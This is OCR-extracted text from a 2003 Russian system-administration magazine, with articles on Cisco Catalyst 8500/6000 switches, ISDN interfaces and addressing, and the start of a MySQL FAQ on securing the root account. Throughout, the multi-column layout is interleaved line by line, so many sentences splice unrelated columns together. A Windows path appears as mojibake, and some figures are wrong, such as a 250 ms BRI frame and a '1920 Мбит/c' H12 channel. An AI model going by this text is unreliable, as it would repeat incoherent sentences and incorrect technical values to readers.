центраторы, интерфейсные модули стве находятся следующие типы ком-
и платы расширения, системы безо- мутаторов: Cisco Catalyst (далее – CC)
пасности, сетевые хранилища дан- 8500, СС 6000, СС 5000/5500, СС
ных, продукты телефонии, видеоси- 4840G, CC 4200, CC 4000, CC 3920,
стемы, системы виртуальных част- CC 3900, CC 3550, CC 3500 XL, CC
ных сетей и устройства беспровод- 3200, CC 3100, CC 2950, CC 2900 LRE
ной связи. XL. CC 2900 XL, CC 1900 & 2820, CC
Учитывая, что основным направ- 6400 UAC, Cisco 6000 IP DSL, Cisco
лением деятельности корпорации 1548 MS, Cisco BPX 8600, Cisco CSS
является производство активного 11000, Cisco IGX 8400, Cisco LATM,
сетевого оборудования (коммутато- Cisco MGX 8850 IP+ATM, Cisco MGX
ров и маршрутизаторов), именно 8200 и Cisco VCO/4K OP.
этим устройствам и будет уделено В семействе СС 8500 существует
наибольшее внимание. два направления: мультисервисные

№2(3), февраль 2003 17


администрирование
коммутаторы с функциями маршрути-
зации (8500 MSR) и коммутаторы с
функциями маршрутизации уровня
кампуса (8500 CSR).
Коммутаторы класса 8500 CSR, в
свою очередь, представлены двумя
устройствами: СС 8510 CSR и СС
8540 CSR. Принципиальная разница
между ними заключается в количе-
стве поддерживаемых портов, а сле-
довательно – в количестве плат рас-
ширения, которые могут быть интегри-
рованы в корпус коммутатора.
СС 8510CSR поддерживают следу-
ющие компоненты:
 плата процессора коммутации/мар-
шрутизации;
 плата 10/100 Base T (16 портов );
 плата 100 Base FX (многомодовое
оптоволокно) с 8 портами, поддер-
живающими полудуплексный и пол-
нодуплексный режимы передачи,
оснащенными разъемами SC; системной информации (расширя- Следующим семейством коммута-
 плата 1000 Base FX с одним гига- ется до 16 Мб); два разъема для торов является ряд Cisco Catalyst 6000,
битным портом, оснащенным SC- дополнительной флэш-памяти. Так включающий семейство СС 6000 и СС
разъемом. же имеется интегрированный дат- 6500. Оба эти ответвления созданы в
Кроме того, коммутатор поддер- чик температуры, консольный порт рамках единой концепции и различа-
живает флэш-память для хранения и порт 10 Base T. Данная плата ются лишь спектром и плотностью пре-
системного ПО, индикаторы, отобра- имеет внешний разъем для доставляемых сервисов. Аналогично
жающие состояние работы коммута- PCIMCI-карт (как правило, этот обзору восьмитысячников описание
тора, порт 10Base T, используемый разъем используется для загруз- ряда 6000 будет построено по такой же
для подключения рабочей станции в ки конфигурации с внешних носи- схеме.
случае SNMP-управления. На плате телей, таких как карты флэш-па- Сам производитель позиционирует
процессора располагается 2 разъема мяти); этот ряд как основу для высокопроиз-
PCIMCI. На этой плате интегрирова-  плата 10/100 Base T (16 портов); водительных систем, таких как корпо-
ны два порта: Auxiliary (AUX) и  плата 100 Base FX (многомодовое ративные сети с насыщенным трафи-
Console. AUX-порт представлен 25- оптоволокно) с шестнадцатью пор- ком и сети провайдеров услуг. Комму-
пиновым портом EIA/TIA 232 (RS-232) тами, поддерживающими полудуп- таторы этого семейства обеспечивают
вилочного типа и используется для лексный и полнодуплексный режи- интеграцию на уровне LAN/MAN/WAN,
подключения модема. Консольный мы передачи, оснащенными разъе- а также межуровневую коммутацию.
порт аналогичен AUX-порту. Отличие мами MT-RJ. Существуют платы с Кроме того, представители этого мо-
заключается в том, что это разъем ро- 16 или 64 Кб оперативной памяти; дельного ряда обладают высокой на-
зеточного типа и используется для  плата 1000 Base FX с двумя гига- ращиваемостью и позволяют обеспе-
подключения либо терминальной битными портами, оснащенными чить необходимое соотношение цена/
станции, либо модема. SC-разъемом (платы комплектуют- качество. Последние два качества
Коммутатор 8540 CSR, в отличие ся оперативной памятью в разме- обеспечиваются возможностью выбо-
от своего младшего собрата, имеет ре 16 или 64 Кб); ра шести-, девяти – и тринадцатисло-
13 слотов расширения и два блока пи-  плата 1000 Base FX с восемью ги- товых корпусов. Так, коммутаторы се-
тания. На него могут быть установле- габитными портами, оснащенными мейства 6000 выпускаются с корпуса-
ны следующие модули: SC-разъемом и оперативной памя- ми на 6 и 9 слотов, а линейка комму-
 плата процессора коммутации/ тью в размере 64 Кб). таторов 6500 предлагает еще и три-
маршрутизации, включающая в надцатислотовый корпус. Все это по-
себя микропроцессор R5000 (ра- На коммутатор может быть уста- зволяет использовать от 5 до 12 моду-
ботает на частоте 200 МГц при ча- новлено до 2 плат процессора и до 8 лей расширения. В зависимости от ис-
стоте системной шины 100 МГц), плат расширения (до 4 коммутацион- полнения коммутаторы будут иметь
три типа памяти: два модуля DRAM ных плат на 1 процессор). Оставшие- следующие названия: WS-C6006-NEB,
SIMM – для хранения входящего и ся 3 слота расширения используются WS-C6009-NEB, WS-C6506-NEB, WS-
исходящего трафика и буфериза- для резервирования, что повышает C6509-NEB, WS-C6513-NEB для СС
ции; флэш-память для хранения надежность системы. 6000 и СС 6500 соответственно.

18
администрирование
В таблице отражены специфичес- TX, WS-X6408-GBIC/WS-X6408A- шрутизаторы, предназначены для
кие особенности и преимущества GBIC, WS-X6416-GBIC, WS-X6416- сверхскоростной переадресации па-
описываемого оборудования. GBIC, WS-X6416-GE-MT, WS-X6501- кетов и для взаимодействия с гло-
Еще одним положительным мо- 10GEX4, WS-X6502-10GE, WS- бальными сетями, на этом уровне
ментом коммутаторов этого класса X6516-GBIC, WS-X6516-GE-TX, WS- обеспечивается избыточное резер-
является то, что все компоненты вы- X6816-GBIC. вирование по связям, которое позво-
полнены таким образом, что подле- Для упрощения понимания пояс- ляет многократно повысить живу-
жат «горячей» замене (это позволя- ню значение символов и цифр в ко- честь системы, перенаправляя сете-
ет вести работы по замене/добавке довых аббревиатурах. вой трафик в случае сбоев в одном
модулей без приостановки функцио- Каждое инвентарное название из физических каналов по другим
нирования всего устройства, что по- имеет строгий формат. Первые 2 линиям связи.
вышает надежность всей сети и улуч- символа определяют класс устрой- На уровне распределения
шает соотношение времен работос- ства. В данном случае это плата рас- (Distribution layer) осуществляется
пособности и сбойности). ширения. Последующие 4 цифры контроль за доступом к службам вер-
Платы расширения, поддержива- указывают семейство коммутаторов хнего уровня, тем самым повышает-
емые комму таторами семейства и количество портов. Затем указыва- ся эффективность использования
СС6000. ется быстродействие портов и тип ис- пропускной способности сети; кроме
На момент написания этого ма- пользуемых коннекторов. того, на этом уровне используются
териала существовал 31 тип интер- Стоит отметить, что оба представ- параметры QoS (качество обслужи-
фейсных плат, которые могут быть ленных в статье семейства коммута- вания), выделяя тем самым наиболее
собраны в следующие группы: торов относятся к третьему уровню приоритетные сетевые приложения и
 модули коммутации Ethernet и фирменной модели Cisco. Естествен- службы; происходит маршрутизация
Fast Ethernet; но, это не означает, что устройства виртуальных ЛВС (VLAN), обеспече-
 модули комму тации Gigabit серий 8500 и 6000 могут быть исполь- ние секретности и разделение состо-
Ethernet; зованы исключительно для построе- яний (Area aggregation).
 модули ATM; ния ядра сети (Core layer). Они могут Что касается уровня доступа
 модуль многоуровневой коммута- использоваться и на уровне доступа, (Access layer) – на нем решаются за-
ции; и на уровне распределения (Access дачи создания рабочих групп, отрас-
 модуль сетевого анализа; и Distribution layers, соответственно). левых офисов – иными словами – на-
 модуль обработки голоса. Согласно идеологии компании, вся- сыщение сети точками подключения.
кая сетевая структура может быть В последующей статье будет дано
По причине достаточно большого представлена в виде трех взаимо- описание коммутаторов серий 5ХХХ
количества номенклатуры изделий, действующих уровней (в случае если и 4ХХХ. Помимо этого автор возьмет
рассмотрим только часть из них. сеть не является вырожденной, на- на себя смелость поэкспериментиро-
Первая группа включает в себя пример, используются два-три ком- вать с настройками разного рода се-
следующие платы: WS-X6024-10FL- мутатора с относительно низкой про- тевых схем на базе коммутаторов и
MT, WS-X6224-100FX-MT, WS- изводительностью и плотностью пор- маршрутизаторов. Подобного рода
X6248-RJ-45, WS-X6248-TEL/WS- тов). попытки кажутся мне небесполезны-
X6248A-TEL, WS-X6324-100FX-SM, Говоря об эталонной иерархичес- ми хотя бы потому, что позволят ад-
WS-X6324-100FX-MM, WS-X6348-RJ- кой модели Cisco более подробно, министраторам, недавно работаю-
45, WS-X6524-100FX-MM, WS-X6548- можно сослаться на следующую ил- щим с сетями Cisco, избежать неко-
RJ-21, WS-X6548-RJ-45. люстрацию: торых трудностей, что вполне можно
Ко второй группе можно отнести Устройства уровня ядра (Core считать положительным элементом
следующие модули: WS-X6316-GE- layer), будь то коммутаторы или мар- всякой писательской деятельности.

№2(3), февраль 2003 19


АБСОЛЮТНО
ВСЕ О
ТЕХНОЛОГИИ
ISDN

С момента своего появления в странах бывшего "Cоюза"


технология ISDN мгновенно спровоцировала бурный интерес к себе со
стороны сетевых специалистов, что в первую очередь было
обусловлено распространенностью данной технологии в Европе
и, конечно же, превосходными скоростными и физическими
показателями.

СЕРГЕЙ РОПЧАН
администрирование
ISDN (Integrated Services Digital Network) нились. Не так давно – в 1992 и 1993 Стандарты ISDN описывают ряд ус-
– цифровые сети с интегральными годах – стандарты ISDN были еще раз луг прикладного уровня: факсимильную
(встроенными) услугами. Эта техноло- пересмотрены и дополнены. связь на скорости 64 Кбит/с, телексную
гия относится к сетям, в которых режим Само внедрение данной технологии связь на скорости 9600 бит/c, видео-
коммутации каналов является основ- началось в конце 80-х годов, однако вы- текст на скорости 9600 бит/c и некото-
ным, а данные обрабатываются в циф- сокая технологическая сложность рые другие.
ровой форме. Идеи перехода телефон- пользовательского интерфейса, отсут- На практике не все сети ISDN под-
ных сетей общего пользования (ТфОП) ствие единых стандартов на многие держивают все стандартные службы.
на полностью цифровую обработку дан- жизненно важные функции, а также не- Служба frame relay хотя и была разра-
ных высказывались давно. Сначала обходимость крупных капиталовложе- ботана в рамках сети ISDN, однако ре-
предполагалось, что абоненты этой ний для переоборудования телефонных ализуется, как правило, с помощью от-
сети будут передавать только голосо- АТС и каналов связи привели к тому, дельной сети коммутаторов кадров, не
вые сообщения. Такие сети получили что процесс развития данной техноло- пересекающейся с сетью коммутаторов
название IDN (Integrated Digital Network). гии затянулся на многие годы, и даже ISDN.
Термин “интегрированная сеть” отно- сейчас, когда прошло уже более 15 лет, Базовой скоростью сети ISDN явля-
сился к интеграции цифровой обработ- распространенность сетей ISDN в на- ется скорость канала DS-0, то есть 64
ки информации сетью с цифровой пе- шей стране оставляет желать лучше- Кбит/c. Эта скорость ориентируется на
редачей голоса абонентом. Идея такой го. Дольше всего в национальном мас- самый простой способ кодирования го-
сети была предложена еще в 1959 году. штабе эти сети работают в таких стра- лоса – ИКМ, хотя дифференциальное
Затем было решено, что такая сеть дол- нах, как Германия и Франция. кодирование и позволяет передавать
жна предоставлять своим абонентам не Если судить о тех или иных типах голос с тем же качеством на скорости
только возможность поговорить между глобальных сетей по коммуникационно- 32 или 16 Кбит/c.
собой, но и воспользоваться другими му оборудованию для корпоративных
услугами: факсимильной связью, теле- сетей, то может сложиться ложное впе- Интерфейсы ISDN
ксом (передача данных между двумя чатление, что технология ISDN появи- Одним из базовых принципов ISDN яв-
терминалами), видеотекстом (получе- лась где-то в 1994-95 годах, так как ляется предоставление пользователю
ние хранящихся в сети данных на свой именно в эти годы начали появляться стандартного интерфейса, с помощью
терминал), голосовой почтой и рядом первые маршрутизаторы, поддержива- которого пользователь может запра-
других. Предпосылка для создания та- ющие технологию ISDN. шивать у сети разнообразные услуги.
кого рода сетей сложилась в середине Архитектура сети ISDN предусмат- Этот интерфейс образуется между дву-
70-х годов. К этому времени уже широ- ривает несколько видов служб: мя типами оборудования, устанавлива-
ко применялись цифровые каналы Т1  некоммутируемые средства (выде- емого в помещении пользователя (CPE,
для передачи цифровых данных меж- ленные цифровые каналы); Customer Premis-es Equipment): терми-
ду АТС, а первый мощный цифровой  коммутируемая телефонная сеть нальным оборудованием пользовате-
коммутатор телефонных каналов 4ESS общего пользования; ля ТЕ (хост с соответствующим адап-
был выпущен компанией Western  сеть передачи данных с коммутаци- тером, маршрутизатор или телефон-
Electric в 1976 году. ей каналов; ный аппарат) и сетевым окончанием
В результате работ, проводимых по  сеть передачи данных с коммутаци- NT, которое представляет собой уст-
стандартизации интегральных сетей в ей пакетов; ройство, завершающее канал связи с
ССITT, в 1980 году появился стандарт  сеть передачи данных с трансляци- ближайшим коммутатором ISDN.
G.705, в котором излагались общие ей кадров; Пользовательский интерфейс ос-
идеи такой сети. Конкретные специфи-  средства контроля и управления ра- нован на каналах трех типов:
кации сети ISDN появились в 1984 году ботой сети.  В – со скоростью передачи данных
в виде серии рекомендаций I. Этот на- 64 Кбит/с;
бор спецификаций был неполным и не Как видно из приведенного списка,  D – со скоростью передачи данных
подходил для построения законченной транспортные службы сетей ISDN дей- 16 или 64 Кбит/с;
сети. К тому же в некоторых случаях он ствительно поддерживают очень широ-  H – со скоростью передачи данных
допускал неоднозначность толкования кий спектр услуг, включая популярные 384 Кбит/с (H0), 1536 Кбит/с (Н11)
или был противоречивым, то есть в це- услуги frame relay. Кроме того, большое или 1920 Kбит/c (Н12).
лом все эти спецификации на то время внимание уделено средствам контроля
были “сырыми” и требовали доработки. сети, которые позволяют маршрутизи- Рассмотрим каждый из каналов в
В результате, хотя оборудование ISDN ровать вызовы для установления со- отдельности.
и начало появляться с середины 80-х единения с абонентом сети, а также осу- Каналы типа В обеспечивают пере-
годов, оно часто было несовместимым, ществлять мониторинг и управление се- дачу пользовательских данных (оциф-
особенно если производилось в разных тью. Управляемость сети обеспечива- рованного голоса, компьютерных дан-
странах. В 1988 году рекомендации се- ется интеллектуальностью коммутато- ных или смеси голоса и данных) также
рии I были пересмотрены и приобрели ров и конечных узлов сети, поддержи- и с более низкими скоростями чем
более детальный и законченный вид, вающих стек протоколов, в том числе и 64 Кбит/с. Разделение данных осуще-
хотя некоторые неоднозначности сохра- специальных протоколов управления. ствляется с помощью техники TDM.

№2(3), февраль 2003 21


администрирование
Разделением канала В на подканалы налами, а не физическими. Данные по Пользовательское
в этом случае должно заниматься интерфейсу BRI передаются кадрами, оборудование в сети ISDN
пользовательское оборудование, сеть состоящими из 48 бит. Каждый кадр Подключение пользовательского обо-
ISDN всегда коммутирует целые кана- содержит по 2 байта каждого из кана- рудования к сети ISDN осуществляет-
лы типа В. Каналы типа В могут соеди- лов В, а также 4 бита канала D. Пере- ся со схемой подключения, разработан-
нять пользователей с помощью техни- дача кадра длится 250 мс, что обеспе- ной ССITT. Оборудование делится на
ки коммутации каналов друг с другом, чивает скорость данных 64 Кбит/с для функциональные группы, и в зависимо-
а также образовывать так называемые каналов В и 16 Кбит/с для канала D. сти от группы различается несколько
“полупостоянные” (semipermanent) со- Кроме бит данных кадр содержит слу- справочных точек (reference points) со-
единения, которые эквивалентны со- жебные биты для обеспечения синхро- единения разных групп оборудования
единениям службы выделенных кана- низации кадров, а также обеспечения между собой.
лов. Канал типа В может также под- нулевой постоянной составляющей Устройства функциональной группы
ключать пользователя к коммутатору электрического сигнала. NT1 (Network Termination 1) образуют
сети Х.25. Интерфейс BRI может поддержи- цифровое абонентское окончание
Канал типа D выполняет две основ- вать не только схему 2B+D, но и B+D (Digital Subscriber Line, DSL) на кабеле,
ные функции. Первой и основной яв- и просто D (когда пользователь отправ- соединяющем пользовательское обору-
ляется передача адресной информа- ляет в сеть только пакетизированные дование с сетью ISDN. Фактически NT1
ции, на основе которой осуществляет- данные). Начальный интерфейс стан- представляет собой устройство CSU,
ся коммутация каналов типа В в ком- дартизирован в рекомендации I.430. которое работает на физическом уров-
мутаторах сети. Второй функцией яв- Первичный интерфейс PRI пред- не и образует дуплексный канал с со-
ляется поддержание услуг низкоскоро- назначен для пользователей с повы- ответствующим устройством CSU, ус-
стной сети с коммутацией пакетов для шенными требованиями к пропускной тановленным на территории оператора
пользовательских данных. Обычно эта способности сети. Интерфейс PRI под- сети ISDN. Справочная точка U соответ-
услуга выполняется сетью в то время, держивает либо схему 30B+D, либо ствует точке подключения устройства
когда каналы типа D свободны от вы- схему 23+D. В обеих схемах канал D NT1 к сети. Устройство NT1 может при-
полнения основной функции. обеспечивает скорость 64 Кбит/с. надлежать оператору сети, а может и
Каналы типа H предоставляют Первый вариант предназначен для принадлежать пользователю. В Евро-
пользователям возможности высоко- Европы, второй – для Северной Аме- пе принято считать устройство NT1 ча-
скоростной передачи данных. На них рики и Японии. Возможны варианты стью оборудования сети, поэтому
могут работать службы высокоскоро- приведения интерфейса PRI с мень- пользовательское оборудование выпус-
стной передачи факсов, видеоинфор- шим количеством каналов типа В, кается без встроенного устройства NT1.
мации, качественного воспроизведе- например, 20B+D. Каналы типа В мо- Если пользователь подключен че-
ния звука. гут объединяться в один логический рез интерфейс BRI, то цифровое або-
Пользовательский интерфейс ISDN высокоскоростной канал с общей ско- нентское окончание выполнено по
представляет собой набор каналов оп- ростью до 1920 Кбит/с. При установ- двухпроводной схеме. Для организации
ределенного типа с определенными ке у пользователя нескольких интер- дуплексного режима используется тех-
скоростями. фейсов PRI все они могут иметь один нология одновременной выдачи пере-
Сеть ISDN поддерживает два типа канал типа D, при этом количество ка- датчиками потенциального кода 2B1Q
пользовательского интерфейса: на- налов В в этом интерфейсе, который с эхо-подавлением и вычитанием сво-
чальный или основной (Basic Rate не имеет канала D, может увеличить- его сигнала из суммарного. Максималь-
Interface, BRI) и первичный (Primary ся до 24 или 31. ная длина абонентского окончания в
Rate Interface, PRI). Первичный интерфейс может быть этом случае составляет 5,5 км.
BRI – начальный интерфейс пре- основан на каналах типа Н. При этом При использовании интерфейса PRI
доставляет пользователю два канала общая пропускная способность интер- цифровое абонентское окончание вы-
по 64 Кбит/c для передачи данных (ка- фейса все равно не должна превы- полняется по схеме канала T1 или Е1,
налы типа В) и один канал с пропуск- шать 2,048 или 1,544 Мбит/с. Для ка- то есть является четырехпроводным с
ной способностью 16 Кбит/с для пере- налов Н0 возможны интерфейсы максимальной длиной около 1800 м.
дачи управляющей информации (ка- 3Н0+D – американский вариант и Устройства функциональной группы
нал типа D). Все каналы работают в 5H0+D – европейский. Для каналов NT2 (Network Termination 2) представ-
полнодуплексном режиме. В результа- H1 возможен интерфейс, состоящий ляют собой устройства канального или
те суммарная скорость интерфейса только из одного канала H11 (1,536 сетевого уровня, которые выполняют
BRI для пользовательских данных со- Мбит/с) для американского варианта функции концентрации пользовательс-
ставляет 144 Кбит/с по каждому на- или одного канала H12 (1920 Мбит/c) ких интерфейсов и их мультиплексиро-
правлению, а с учетом служебной ин- и одного канала D для европейского вание. Например, к этому типу обору-
формации – 192 Kбит/с. Различные ка- варианта. дования относятся: офисная АТС, ком-
налы пользовательского интерфейса Кадры интерфейса PRI имеют мутирующая несколько интерфейсов
разделяют один и тот же физический структуру кадров DS–1 для каналов Т1 BRI, маршрутизатор, работающий в
двухпроводной кабель по технологии и Е1. Данный интерфейс стандартизи- режиме коммутации пакетов (напри-
TDM, то есть являются логическими ка- рован в рекомендации I.431. мер, по каналу D), простой мультиплек-

22
администрирование
сор TDM, который мультиплексирует Дело в том, что при небольшом ко- большего числа абонентов и для ис-
несколько низкоскоростных каналов в личестве терминалов (ТЕ1 или ТЕ2+- пользования в нем адреса других се-
один канал типа В. Точка подключения ТА) разрешается не использовать ме- тей, например Х.25. Cтандарт адреса-
оборудования типа NT2 к устройству стную офисную АТС, а подключать до ции в сетях ISDN получил номер E.164.
NT1 называется справочной точкой 8 устройств к одному устройству типа Формат Е.163 предусматривает до
типа Т. Наличие этого оборудования не NT1 (или NT2 без коммутационных 12 десятичных цифр в номере, а фор-
является обязательным в отличие от возможностей) с помощью схемы мон- мат адреса ISDN в стандарте Е.164
NT1. тажного ИЛИ. При подключении одно- расширен до 55 десятичных цифр. В
Устройства функциональной группы го устройства ТЕ (через терминальные сетях ISDN различают номер абонен-
TE1 (Terminal Equipment 1) относятся к резисторы R, согласующие параметры та и адрес абонента. Номер абонента
устройствам, которые поддерживают линии) к сетевому окончанию NT дли- соответствует точке Т подключения
интерфейс пользователя BRI или PRI. на кабеля может достигать 1000 м. При всего пользовательского оборудова-
Справочная точка S соответствует точ- подключении нескольких устройств к ния в сети. Например, вся офисная
ке подключения отдельного терминаль- пассивному кабелю максимальная АТС может идентифицироваться од-
ного оборудования, поддерживающего длина сокращается до 100-200 м. ним номером ISDN. Номер ISDN состо-
один из интерфейсов пользователя Правда, если эти устройства сосредо- ит из 15 десятичных цифр и делится,
ISDN. Таким оборудованием может точены на дальнем конце кабеля (ме- как и телефонный номер, по стандар-
быть телефон или факс-аппарат. Так нее 50 м), то длина кабеля может быть ту Е.163: поле “Код страны” (от 1 до 3
как оборудование типа NT2 может от- увеличена до 500 м. И наконец, суще- цифр), поле “Код города” и поле “Но-
сутствовать, то справочные точки S и T ствуют специальные многопортовые мер абонента”. Адрес ISDN включает
объединяются и обозначаются как S/T. устройства NT1, которые обеспечива- номер и 40 цифр подадреса, который
Устройства функциональной группы ют звездообразное подключение до 8 используется для нумерации терми-
ТЕ2 (Terminail Equipment 2) представля- устройств. При этом длина кабеля уве- нальных устройств за пользовательс-
ют собой устройства, которые не под- личивается до 1000 м. ким интерфейсом, то есть подключен-
держивают интерфейс BRI или PRI. Та- ных к точке S. Например, если на пред-
ким устройством может быть компью- Адресация в ISDN приятии имеется офисная АТС, то ей
тер, маршрутизатор с последователь- Технология ISDN разрабатывалась как можно присвоить один номер, напри-
ными интерфейсами, не относящими- основа всемирной телекоммуникаци- мер, 7-044-565-65-00, а для вызова
ся к ISDN, например, RS-232C, Х.21, онной сети, позволяющей связывать абонента имеющего адрес 235, вне-
V.34. Для подключения такого устрой- как телефонных абонентов, так и або- шний абонент должен набрать номер
ства к сети ISDN необходимо исполь- нентов других глобальных сетей – ком- 7-044-565-65-00-235.
зовать терминальный адаптер (Terminal пьютерных, телексных. Поэтому при При вызове абонентов из сети, не
Adapter, TA), который выпускается в разработке схемы адресации узлов относящейся к ISDN, их адрес может
формате сетевых адаптеров как встра- ISDN необходимо было: непосредственно заменять адрес
иваемая карта.  во-первых, сделать эту схему дос- ISDN. Например, адрес абонента сети
Физический интерфейс в точке S/T таточно емкой для всемирной ад- Х.25, в которой используется система
представляет собой четырехпроводную ресации; адресации по стандарту Х.121, ему
линию. Так как кабель между устрой-  во-вторых, совместимой со схема- должно предшествовать поле префик-
ствами ТЕ1 или ТА и сетевым оконча- ми адресации других сетей, чтобы са, в которое помещается код стандар-
нием NT1 или NT2 обычно имеет не- их абоненты в случае соединения та адресации, в данном случае стан-
большую длину, то разработчики стан- своих сетей через сеть ISDN могли дарта Х.121. Коммутаторы сети ISDN
дартов ISDN решили не усложнять обо- бы пользоваться привычными фор- могут обработать этот адрес коррект-
рудование, так как организация дуплек- матами адресов. Разработчики сте- но и установить связь с нужным або-
сного режима на четырехпроводной ка TCP/IP пошли по пути внедрения нентом сети Х.25 через сеть ISDN, ком-
линии намного легче, чем на двухпро- собственной схемы адресации, не- мутируя канал типа В с коммутатором
водной. Для интерфейса BRI в качестве зависимой от систем адресации Х.25, либо передавая данные по кана-
метода кодирования выбран биполяр- объединяемых сетей. Разработчи- лу типа D в режиме коммутации паке-
ный AMI, причем логическая единица ки технологии ISDN пошли по дру- тов. Префикс описывается стандартом
кодируется нулевым потенциалом, а ло- гому пути: они решили добиться ис- ISO 7498.
гический ноль – чередованием потен- пользования в адресе ISDN адре- Стандарт ISO 7498 определяет дос-
циалов противоположной полярности. сов объединяемых сетей. таточно сложный формат адреса, при-
Для интерфейса PRI используются дру- чем основной схемой адресации явля-
гие коды: те же, что и для интерфейсов Основное назначение ISDN – это ются первые два поля. Поле AFI (Athority
T1 и Е1, то есть соответственно B8ZS и передача телефонного трафика. По- and Formay Identifier) задает значения
HDB3. этому за основу адреса ISDN был взят всех остальных полей адреса и формат
Физическая длина интерфейса PRI формат международного телефонно- этих полей. Значением поля AFI явля-
колеблется от 100 м до 1000 м – в зави- го плана номеров, описанный в стан- ется один из 6 типов поддоменов гло-
симости от схемы подключения уст- дарте ITU-T E.163. Однако этот фор- бального домена адресации:
ройств. мат был расширен для поддержки  четыре типа доменов соответству-

№2(3), февраль 2003 23


администрирование
ют четырем типам публичных теле- Сеть каналов типа D внутри сети сегодня используются в основном так
коммуникационных сетей: сетей с ISDN служит транспортным уровнем же, как аналоговые телефонные сети,
коммутацией пакетов, телексных для так называемой системы сигнали- то есть как сети с коммутацией кана-
сетей, публичных телефонных се- зации номер 7 (Signal System Number лов, но только более скоростные. Ин-
тей и сетей ISDN; 7, SS7). Система SS7 была разработа- терфейс BRI дает возможность уста-
 пятый тип домена – это географи- на для целей внутреннего мониторинга новить дуплексный режим обмена со
ческий домен, который назначает- и управления коммутаторами телефон- скоростью 128 Кбит/с (логическое
ся каждой стране; ной сети общего назначения. Эта сис- объединение двух каналов типа В), а
 шестой тип домена – это домен тема применяется и в сети ISDN. Служ- интерфейс PRI – 2,048 Мбит/c. Кроме
организационного типа, в который ба SS7 относится к прикладному уров- того, качество цифровых каналов го-
входят международные организа- ню модели OSI. Конечному пользова- раздо выше аналоговых, а это значит,
ции, например ООН и НАТО. телю ее услуги недоступны, так как со- что процент искаженных кадров будет
общениями SS7 коммутаторы сети об- гораздо ниже, полезная скорость об-
За полем AFI идет поле IDI (Initial мениваются только между собой. мена данными существенно выше.
Domain Identifier) – поле начального Каналы типа В образуют сеть с ком- Обычно интерфейс BRI использует-
идентификатора домена, а за ним рас- мутацией цифровых каналов. В терми- ся в коммуникационном оборудовании
полагается дополнительное поле DSP нах модели OSI на каналах типа В в для подключения отдельных компьюте-
(Domain SpecificPart), которое может коммутаторах сети ISDN определен ров или небольших локальных сетей, а
нести дополнительные цифры номера только протокол физического уровня – интерфейс PRI – в маршрутизаторах,
абонента, если разрядности поля INI не протокол I.430/431. Коммутация кана- рассчитаных на сети средних размеров.
хватает. лов типа В происходит по указаниям, Что же касается объединения ком-
Еще одним способом вызова або- полученным по каналам D. Когда паке- пьютерных сетей для поддержки служ-
нентов из других сетей является указа- ты протокола Q.931 маршрутизируют- бы с коммутацией пакетов, то здесь
ние в адресе ISDN двух адресов: адре- ся коммутатором, то при этом происхо- сети ISDN предоставляют не очень
са ISDN пограничного устройства, на- дит одновременная коммутация оче- большие возможности.
пример, соединяющего сеть ISDN с се- редной части составного канала от ис- На каналах типа В режим комму-
тью Х.25, и адреса узла в сети Х.25. ходного абонента к конечному. тации пакетов поддерживается следу-
Адреса должны разделяться специаль- Протокол LAP-D принадлежит се- ющим образом: либо с помощью по-
ным разделителем. Два адреса исполь- мейству HDLC и обладает всеми родо- стоянного соединения с коммутатором
зуются за два этапа: сначала сеть ISDN выми чертами этого семейства, но от- сети Х.25, либо с помощью коммути-
устанавливает соединение типа комму- личается некоторыми особенностями. руемого соединения с этим же комму-
тируемого канала с пограничным уст- Адрес кадра LAP-D состоит из двух татором. То есть каналы типа В в се-
ройством, присоединенным к сети байт: один байт определяет код служ- тях ISDN являются только транзитны-
ISDN, а затем передает ему вторую бы, а второй используется для адреса- ми для доступа к “настоящей” сети
часть адреса, чтобы это устройство осу- ции одного из терминалов, если у Х.25. Собственно, это сводится к пер-
ществило соединение с требуемым пользователя к сетевому окончанию вому случаю использования сети ISDN
абонентом. NT1 подключено несколько термина- – только как сети с коммутацией ка-
лов. Терминальное устройство может налов.
Стек протоколов поддерживать разные службы: службу
и структура ISDN установления соединения по протоко- Выводы
В сети ISDN существуют два стека про- лу Q.931, службу коммутации пакетов Сети ISDN не рассматриваются разра-
токолов: стек каналов типа D и стек ка- Х.25, службу мониторинга сети и т. п. ботчиками корпоративных сетей как
налов типа В. Каналы типа D образуют Протокол LAP-D обеспечивает два ре- хорошее средство для создания маги-
достаточно традиционную сеть с ком- жима работы: с установлением соеди- стральных сетей. Основная причина –
мутацией пакетов. Прообразом этой нения (единственный режим работы отсутствие скоростной службы комму-
сети послужила технология сетей Х.25. протокола LLC2) и без установления со- тации пакетов и невысокие скорости
Для сети каналов D определены три единения. Последний режим использу- каналов, предоставляемые конечным
уровня протоколов: физический прото- ется для управления и мониторинга пользователям. Для целей же подклю-
кол определяется стандартом I.430/431, сети. чения мобильных и домашних пользо-
канальный протокол LAP-D определя- Протокол Q.931 переносит в своих вателей, небольших филиалов и обра-
ется стандартом Q.921, а на сетевом пакетах адрес ISDN вызываемого або- зования резервных каналов связи сети
уровне может использоваться протокол нента, на основании которого и проис- ISDN сейчас используются очень ши-
Q.931, с помощью которого выполняет- ходит настройка коммутаторов на под- роко. Производители коммуникацион-
ся маршрутизация вызова абонента держку составного канала типа В. ного оборудования выпускают широ-
службы с коммутацией каналов, или же кий спектр продуктов для подключе-
протокол Х.25 – в этом случае в кадры Использование служб ISDN ния локальных сетей к ISDN: терми-
протокола LAP-D вкладываются паке- в корпоративных сетях нальные адаптеры, удаленные мосты
ты Х.25, и коммутаторы ISDN выполня- Несмотря на большие отличия от ана- и офисные маршрутизаторы невысо-
ют роль коммутаторов Х.25. логовых телефонных сетей, сети ISDN кой стоимости.

24
FAQ MySQL
Конфигурация MySQL WHERE user=’root’; ïóòü_ê_äèðåêòîðèè_MySQL\bin>mysqladmin
--user=root --password=your_password
«по умолчанию» mysql> FLUSH PRIVILEGES;
shutdown
При запуске MySQL «читает» на- Другой путь устанавливать пароль –
стройки из файла конфигурации. использование команды mysqladmin: ВНИМАНИЕ! Рекомендую также
Под Unix это могут быть файлы: удалить всех анонимных пользовате-
 /etc/my.cnf; shell> mysqladmin -u root password лей и пользователей с неустановлен-
 DATADIR/my.cnf; new_password ным паролем!
 defaults-extra-file; Дело в том, что по умолчанию при
 ~/.my.cnf. Как только пароль для пользователя установке создается НЕ ТОЛЬКО root
root будет установлен, вы должны ис- и анонимный пользователь для
DATADIR – директория данных MySQL пользовать этот пароль при подклю- localhost!
(обычно это /usr/local/mysql/data при чении к MySQL-серверу от имени root!
установке из бинарников или /usr/ Изменять пароль для других Host User Password ...
local/var при установке из исходников). пользователей могут только пользо- ---- ---- --------
...
Под Windows (начиная с версии ватели с правом доступа для записи % root
